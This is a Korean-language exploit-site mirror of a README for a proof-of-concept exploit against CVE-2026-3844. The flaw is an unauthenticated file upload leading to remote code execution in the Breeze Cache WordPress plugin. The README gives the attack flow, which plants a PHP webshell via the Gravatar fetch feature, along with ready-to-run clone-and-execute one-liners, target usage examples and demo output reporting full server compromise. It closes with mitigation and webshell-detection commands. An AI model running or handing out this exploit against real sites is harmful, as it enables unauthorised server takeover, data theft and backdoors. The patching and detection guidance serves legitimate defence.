Sploitus

Exploit for CVE-2026-3844

kitploit Β· 2026-08-31

Exploit Code

MARKDOWN343 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TAUSIFZAMAN-CVE-2026-3844
# CVE-2026-3844

CVE-2026-3844에 λŒ€ν•œ PoC μ΅μŠ€ν”Œλ‘œμž‡μœΌλ‘œ, WordPress Breeze ν”ŒλŸ¬κ·ΈμΈμ—μ„œ 원격 μ½”λ“œ μ‹€ν–‰(RCE)으둜 μ΄μ–΄μ§€λŠ” 치λͺ…적인 인증 μ—†λŠ” 파일 μ—…λ‘œλ“œ μ·¨μ•½μ μž…λ‹ˆλ‹€.

![CVE-2026-3844 Typing SVG](https://readme-typing-svg.demolab.com?font=Fira+Code&weight=700&size=26&pause=1000&color=FF0000%C2%A2er=true&vCenter=true&width=800&lines=CVE-2026-3844+%7C+Breeze+Cache+WordPress+Plugin;Unauthenticated+Arbitrary+File+Upload+%E2%86%92+RCE;CVSS+9.8+CRITICAL+%7C+CWE-434;PoC+Exploit+by+Tausif+Zaman)   


![CVE ID](https://img.shields.io/badge/CVE-2026--3844-red?style=for-the-badge&logo=hackthebox&logoColor=white) ![CVSS Score](https://img.shields.io/badge/CVSS-9.8%20Critical-critical?style=for-the-badge&logo=securityscorecard&logoColor=white) ![CWE](https://img.shields.io/badge/CWE-434-orange?style=for-the-badge) ![Python](https://img.shields.io/badge/Python-3.x-blue?style=for-the-badge&logo=python&logoColor=white) ![WordPress](https://img.shields.io/badge/WordPress-Plugin-21759B?style=for-the-badge&logo=wordpress&logoColor=white) ![Platform](https://img.shields.io/badge/Platform-Linux%20%7C%20macOS%20%7C%20Windows-lightgrey?style=for-the-badge&logo=linux&logoColor=white) ![PoC](https://img.shields.io/badge/PoC-Available-brightgreen?style=for-the-badge&logo=github) ![Author](https://img.shields.io/badge/Author-Tausif%20Zaman-orange?style=for-the-badge&logo=github)

  


* * *

## πŸ“Œ κ°œμš”

**CVE-2026-3844** λŠ” **Breeze Cache WordPress ν”ŒλŸ¬κ·ΈμΈ**(Cloudways μ œμž‘)의 **치λͺ…적인(Critical)** 인증 μ—†λŠ” μž„μ˜ 파일 μ—…λ‘œλ“œ μ·¨μ•½μ μœΌλ‘œ, **2.4.4 μ΄ν•˜μ˜ λͺ¨λ“  버전** 에 영ν–₯을 λ―ΈμΉ©λ‹ˆλ‹€.

이 μ €μž₯μ†ŒλŠ” 승인된 λ³΄μ•ˆ 연ꡬ, 침투 ν…ŒμŠ€νŠΈ 및 μ±…μž„ μžˆλŠ” 곡개λ₯Ό μœ„ν•œ **κ°œλ… 증λͺ…(PoC) μ΅μŠ€ν”Œλ‘œμž‡**(`CVE-2026-3844.py`)을 μ œκ³΅ν•©λ‹ˆλ‹€.

* * *

## ν•œ 쀄 μ½”λ“œ

root@kitploit:~
    
    
    git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3
    

* * *

## πŸ“Š 취약점 μš”μ•½

* * *

## πŸ” 취약점 μ„ΈλΆ€ 정보

### κ·Όλ³Έ 원인

WordPress용 **Breeze Cache** ν”ŒλŸ¬κ·ΈμΈμ€ **"Host Files Locally – Gravatars"** κΈ°λŠ₯이 ν™œμ„±ν™”λ˜λ©΄ 원격 Gravatar 이미지λ₯Ό 가져와 λ‘œμ»¬μ— μ €μž₯ν•©λ‹ˆλ‹€. `class-breeze-cache-cronjobs.php`(89~119ν–‰)의 μ·¨μ•½ν•œ ν•¨μˆ˜ `fetch_gravatar_from_remote`λŠ” κ°€μ Έμ˜¨ 원격 μ½˜ν…μΈ μ— λŒ€ν•΄ **파일 μœ ν˜• λ˜λŠ” ν™•μž₯자 검증을 μ „ν˜€ μˆ˜ν–‰ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**.

root@kitploit:~
    
    
    class-breeze-cache-cronjobs.php
      └── fetch_gravatar_from_remote()   ← ❌ No file type validation
            └── Saves remote content directly to disk
                  └── Attacker controls β†’ uploads .php webshell β†’ RCE
    

### 곡격 흐름

root@kitploit:~
    
    
    Attacker (Unauthenticated)
        β”‚
        β–Ό
    Craft malicious HTTP request with PHP webshell URL as Gravatar
        β”‚
        β–Ό
    Plugin fetches & saves the .php file without validation
        β”‚
        β–Ό
    Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
        β”‚
        β–Ό
    Attacker accesses webshell β†’ Full RCE achieved
    

### 영ν–₯

μ„±κ³΅μ μœΌλ‘œ μ•…μš©λ  경우 κ³΅κ²©μžλŠ” λ‹€μŒμ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  * πŸ”΄ μž„μ˜μ˜ 운영체제 λͺ…λ Ή μ‹€ν–‰ (RCE)
  * πŸ”΄ 지속성 μžˆλŠ” 백도어 / μ›Ήμ…Έ μ—…λ‘œλ“œ
  * πŸ”΄ λΆˆλ²• WordPress κ΄€λ¦¬μž 계정 생성
  * πŸ”΄ λ°μ΄ν„°λ² μ΄μŠ€, 자격 증λͺ… 및 λ―Όκ°ν•œ 파일 유좜
  * πŸ”΄ μ›Ήμ‚¬μ΄νŠΈ λ³€μ‘° λ˜λŠ” λͺ¨λ“  μ½˜ν…μΈ  μ‚­μ œ
  * πŸ”΄ μ„œλ²„λ₯Ό μ΄μš©ν•΄ 동일 λ„€νŠΈμ›Œν¬μ˜ λ‹€λ₯Έ μ‹œμŠ€ν…œμœΌλ‘œ ν”Όλ²—
  * πŸ”΄ μ„œλ²„λ₯Ό 봇넷에 νŽΈμž…



* * *

## βš™οΈ μš”κ΅¬ 사항

  * Python 3.6+
  * `requests` 라이브러리
  * **"Host Files Locally – Gravatars"κ°€ ν™œμ„±ν™”λœ** **Breeze Cache ≀ 2.4.4** λ₯Ό μ‹€ν–‰ 쀑인 λŒ€μƒ μ‚¬μ΄νŠΈ



* * *

## πŸš€ μ„€μΉ˜ 및 μ„€μ •

### 🐧 Linux / Termux (Android)

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py
    
    # Navigate into the directory
    cd CVE-2026-3844
    
    # Install dependencies
    pip install -r requirements.txt
    
    # Run the exploit
    python3 CVE-2026-3844.py
    

### πŸͺŸ Windows (CMD / PowerShell)

root@kitploit:~
    
    
    git clone https://github.com/tausifzaman/CVE-2026-3844.git
    cd CVE-2026-3844
    pip install -r requirements.txt
    python CVE-2026-3844.py
    

### 🍎 macOS

root@kitploit:~
    
    
    git clone https://github.com/tausifzaman/CVE-2026-3844.git
    cd CVE-2026-3844
    pip3 install -r requirements.txt
    python3 CVE-2026-3844.py
    

### πŸ€– Termux (μ›λΌμ΄λ„ˆ)

root@kitploit:~
    
    
    pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
    

### ☁️ Google Cloud Shell (μ„€μ • λΆˆν•„μš”)

![Open in Cloud Shell](https://gstatic.com/cloudssh/images/open-btn.svg)

root@kitploit:~
    
    
    git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
    

* * *

## πŸ’» μ‚¬μš©λ²•

root@kitploit:~
    
    
    python3 CVE-2026-3844.py
    

### μ˜΅μ…˜

root@kitploit:~
    
    
    usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]
    
    CVE-2026-3844 β€” Breeze Cache WordPress Plugin Arbitrary File Upload PoC
    
    optional arguments:
      -h, --help              Show this help message and exit
      -u URL, --url URL       Target URL (e.g. https://target.com)
      -t TIMEOUT              Request timeout in seconds (default: 10)
      -o OUTPUT               Save webshell path to output file
      -v, --verbose           Enable verbose/debug output
    

### 예제

root@kitploit:~
    
    
    # Basic usage
    python3 CVE-2026-3844.py -u https://vulnerable-site.com
    
    # Verbose mode
    python3 CVE-2026-3844.py -u https://vulnerable-site.com -v
    
    # Custom timeout
    python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v
    

* * *

## πŸ–₯️ PoC 데λͺ¨ 좜λ ₯

root@kitploit:~
    
    
    ╔══════════════════════════════════════════════════════╗
    β•‘          CVE-2026-3844 | Breeze Cache WP RCE        β•‘
    β•‘          Researcher: tausifzaman.online              β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
    
    [*] Target     : https://vulnerable-site.com
    [*] CVE        : CVE-2026-3844
    [*] Plugin     : Breeze Cache ≀ 2.4.4
    [*] Type       : Unauthenticated Arbitrary File Upload β†’ RCE
    [*] Checking target...
    
    [+] Breeze Cache plugin detected!
    [+] "Host Files Locally – Gravatars" is ENABLED
    [*] Uploading PHP webshell via fetch_gravatar_from_remote...
    [+] File uploaded successfully!
    [+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
    [*] Verifying RCE...
    [+] RCE CONFIRMED!
    
    [+] Command output (id):
        uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    [+] Full server compromise achieved.
    [*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.
    

* * *

## πŸ”’ μ™„ν™” 및 λŒ€μ‘

### βœ… μ¦‰μ‹œ 쑰치

> **Breeze Cacheλ₯Ό 버전 2.4.5 μ΄μƒμœΌλ‘œ μ—…λ°μ΄νŠΈν•˜μ„Έμš”** β€” 이것이 μœ μΌν•œ μ™„μ „ν•œ ν•΄κ²°μ±…μž…λ‹ˆλ‹€.

root@kitploit:~
    
    
    # WordPress CLI β€” update Breeze plugin immediately
    wp plugin update breeze
    

### πŸ›‘οΈ μž„μ‹œ μ™„ν™” 쑰치 (μ¦‰μ‹œ μ—…λ°μ΄νŠΈν•  수 μ—†λŠ” 경우)

  1. Breeze Cache μ„€μ •μ—μ„œ **"Host Files Locally – Gravatars"** μ˜΅μ…˜μ„ **λΉ„ν™œμ„±ν™”** ν•©λ‹ˆλ‹€
  2. WAF κ·œμΉ™ λ˜λŠ” `.htaccess`λ₯Ό 톡해 **μ·¨μ•½ν•œ μ—”λ“œν¬μΈνŠΈλ₯Ό 차단** ν•©λ‹ˆλ‹€
  3. μ—…λ‘œλ“œ 및 μΊμ‹œ λ””λ ‰ν„°λ¦¬μ—μ„œ **PHP 싀행을 차단** ν•©λ‹ˆλ‹€:



root@kitploit:~
    
    
    # Add to /wp-content/uploads/.htaccess and /wp-content/cache/.htaccess
    <FilesMatch "\.php$">
        deny from all
    </FilesMatch>
    

  4. **μƒˆλ‘œ μƒμ„±λ˜κ±°λ‚˜ μˆ˜μ •λœ μ˜μ‹¬μŠ€λŸ¬μš΄ νŒŒμΌμ„ 검색** ν•©λ‹ˆλ‹€:



root@kitploit:~
    
    
    # Find recently modified PHP files in wp-content (possible webshells)
    find /var/www/html/wp-content -name "*.php" -newer /var/www/html/wp-config.php -ls
    
    # Search for common webshell indicators
    grep -r "eval(base64_decode" /var/www/html/wp-content/
    grep -r "system\|exec\|passthru\|shell_exec" /var/www/html/wp-content/cache/
    

  5. Gravatar κ°€μ Έμ˜€κΈ° κΈ°λŠ₯을 λŒ€μƒμœΌλ‘œ ν•˜λŠ” **μ˜μ‹¬μŠ€λŸ¬μš΄ POST μš”μ²­μ„ WAFλ₯Ό 톡해 차단** ν•©λ‹ˆλ‹€
  6. `/wp-content/breeze-cache/*.php` μš”μ²­μ— λŒ€ν•œ **μ•‘μ„ΈμŠ€ 둜그λ₯Ό λͺ¨λ‹ˆν„°λ§** ν•©λ‹ˆλ‹€



root@kitploit:~
    
    
    # Monitor Apache/Nginx access logs for webshell hits
    grep "breeze-cache.*\.php" /var/log/apache2/access.log
    grep "breeze-cache.*\.php" /var/log/nginx/access.log
    

### πŸ” 이미 μΉ¨ν•΄λ˜μ—ˆλŠ”μ§€ 확인

root@kitploit:~
    
    
    # Check for unexpected PHP files in Breeze cache directory
    find /var/www/html/wp-content/breeze-cache/ -name "*.php"
    
    # Check for recently created files (last 7 days)
    find /var/www/html/wp-content/ -name "*.php" -mtime -7
    
    # Look for admin accounts created recently (run in wp-mysql)
    SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;
    

* * *

## πŸ“š μ°Έκ³  자료

* * *

## πŸ‘€ μž‘μ„±μž

**Tausif Zaman**

🌐 tausifzaman.online Β· πŸ™ GitHub @tausifzaman

_λ³΄μ•ˆ 연ꡬ원 Β· 버그 λ°”μš΄ν‹° ν—Œν„° Β· 도ꡬ 개발자_

Android Β· Python Β· PHP Β· μ›Ή λ³΄μ•ˆ Β· 침투 ν…ŒμŠ€νŠΈ

* * *

## ⚠️ 법적 κ³ μ§€

이 μ €μž₯μ†Œμ™€ ν¬ν•¨λœ μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œλŠ” **였직 ꡐ윑 λͺ©μ κ³Ό 승인된 λ³΄μ•ˆ 연ꡬλ₯Ό μœ„ν•΄μ„œλ§Œ** μ œκ³΅λ©λ‹ˆλ‹€.

  * βœ… **μ†Œμœ ν•œ** μ‹œμŠ€ν…œ λ˜λŠ” ν…ŒμŠ€νŠΈμ— λŒ€ν•œ **λͺ…μ‹œμ  μ„œλ©΄ ν—ˆκ°€** λ₯Ό 받은 μ‹œμŠ€ν…œμ—μ„œλ§Œ 이 도ꡬλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€
  * ❌ 제3자 μ‹œμŠ€ν…œμ— λŒ€ν•œ 무단 μ‚¬μš©μ€ λ―Έκ΅­ 컴퓨터 사기 및 λ‚¨μš©λ²•(CFAA), 영ꡭ 컴퓨터 λ‚¨μš©λ²•(Computer Misuse Act) 및 μ „ μ„Έκ³„μ˜ λ™λ“±ν•œ 법λ₯ μ— 따라 **λΆˆλ²•** μž…λ‹ˆλ‹€
  * μž‘μ„±μžλŠ” 이 λ„κ΅¬λ‘œ μΈν•œ 였용, 손상 λ˜λŠ” λΆˆλ²• ν™œλ™μ— λŒ€ν•΄ **일체의 μ±…μž„μ„ μ§€μ§€ μ•ŠμŠ΅λ‹ˆλ‹€**



**윀리적으둜 ν•΄ν‚Ήν•˜κ³ , μ±…μž„κ° 있게 μ‹ κ³ ν•˜λ©°, ν•©λ²•μ μœΌλ‘œ ν–‰λ™ν•˜μ„Έμš”. πŸ›‘οΈ**

* * *

⭐ **이 도ꡬ가 연ꡬ에 도움이 λ˜μ—ˆλ‹€λ©΄ μ €μž₯μ†Œμ— μŠ€νƒ€λ₯Ό λ‚¨κ²¨μ£Όμ„Έμš”!** ⭐

![Star](https://img.shields.io/github/stars/tausifzaman/CVE-2026-3844?style=social) ![Follow](https://img.shields.io/github/followers/tausifzaman?style=social) ![Website](https://img.shields.io/badge/Visit-tausifzaman.online-blue?style=flat-square)